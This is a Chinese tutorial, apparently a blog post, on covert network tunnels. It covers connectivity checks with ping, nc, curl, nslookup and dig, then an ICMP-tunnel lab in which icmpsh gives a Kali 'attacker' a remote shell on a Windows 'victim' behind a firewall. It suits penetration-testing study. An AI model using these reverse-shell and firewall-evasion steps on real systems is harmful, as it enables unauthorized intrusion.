一,隐藏通信隧道基础知识

  在完成信息收集之后,我们要判断流量是否出的去、进的来。隐藏通信隧道技术常用于在受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。

1.常见的隧道:

.网络层:IPv6隧道、ICMP隧道、GRE隧道

.传输层:TCP隧道、UDP隧道、常规端口转发

.应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道 

2.判断内网的连通性 

判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等。常用的内网连通性判断方法有:

1>ICMP协议

执行命令 ping <IP/域名>

python 隐蔽隧道 icmp隐蔽隧道_IP

 

 2>TCP协议

netcat(简称:nc)被誉为网安界的“瑞士军刀”,是一个短小精悍的工具,通常使用TCP或UDP协议的网络连接读写数据。

nc   <ip   端口>

python 隐蔽隧道 icmp隐蔽隧道_IP_02

 

 3>HTTP协议

curl是一个利用URL规则在命令行工作的综合文件传输工具,支持文件的上传和下载。

curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、Cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征

curl <ip地址:端口号>,如果远程主机开启了相应的端口,则会输出相应的端口信息,如果远程主机没有开通相应的端口,则没有任何提示,ctrl+c键可断开连接

python 隐蔽隧道 icmp隐蔽隧道_IP_03

 

 4>DNS协议

在进行DNS连通性检测时,常用的命令为nslookup和dig

nslookup  www.baidu.com vps-ip

python 隐蔽隧道 icmp隐蔽隧道_IP_04

 

 dig是Linux默认自带的DNS探测命令,在没有指定的vps-ip时,dig会到/etc/resolv.conf文件中读取系统配置的DNS服务器的地址。如果vps-ip为192.168.43.1将解析百度网的IP地址,说明目前DNS协议是连通的,

dig  @vps-ip   www.baidu.com

python 隐蔽隧道 icmp隐蔽隧道_DNS_05

 

 还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的场景。常用的判断方法如下

a.查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接(可以尝试运行ping  -n  1 -a ip )

b.查看内网中是否有主机名类似于proxy的机器

c.查看IE浏览器的直接代理

d.根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看

e.执行如下命令,利用curl工具进行确定

curl  www.baidu.com    //不通

curl -x proxy-ip:port  www.baidu.com   //通

二,ICMP隧道实验

1.网络拓扑图

python 隐蔽隧道 icmp隐蔽隧道_IP_06

 

 2.环境及工具

kali Liunx(黑客):192.168.4.136(公网IP)

python 隐蔽隧道 icmp隐蔽隧道_DNS_07

 

 windows server 2008(受害者):1.1.1.11(内网IP)

python 隐蔽隧道 icmp隐蔽隧道_DNS_08

 

工具:icmpsh

隧道:icmp隧道

防火墙将其分为内网和外网

当受害者下载了icmpsh.exe执行程序后。。。

3.实验步骤

3.1防火墙规则,只允许icmp数据包通过防火墙

python 隐蔽隧道 icmp隐蔽隧道_DNS_09

3.2kali linux上安装icmpsh

.git clone  https://github.com/inquisb/icmpsh.git

.apt-get install python-impacket

.sysctl  -w net.ipv4.icmp_echo_ignore_all=1   //因为icmpsh工具要代替本身的ping命令的应答程序,所以需要输入此命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入)

cd ./icmpsh

#./icmpsh_m.py  IP(公网)  IP(内网)

python 隐蔽隧道 icmp隐蔽隧道_内网_10

 

3.3windows server 2008中运行icmpsh.exe

python 隐蔽隧道 icmp隐蔽隧道_内网_11

 

 当window运行icmpsh.exe后,kali linux上会得到受害者机器的一个shell

python 隐蔽隧道 icmp隐蔽隧道_DNS_12

 

 之后就可以再进行下一步的渗透工具,以达到渗透和获取信息的目的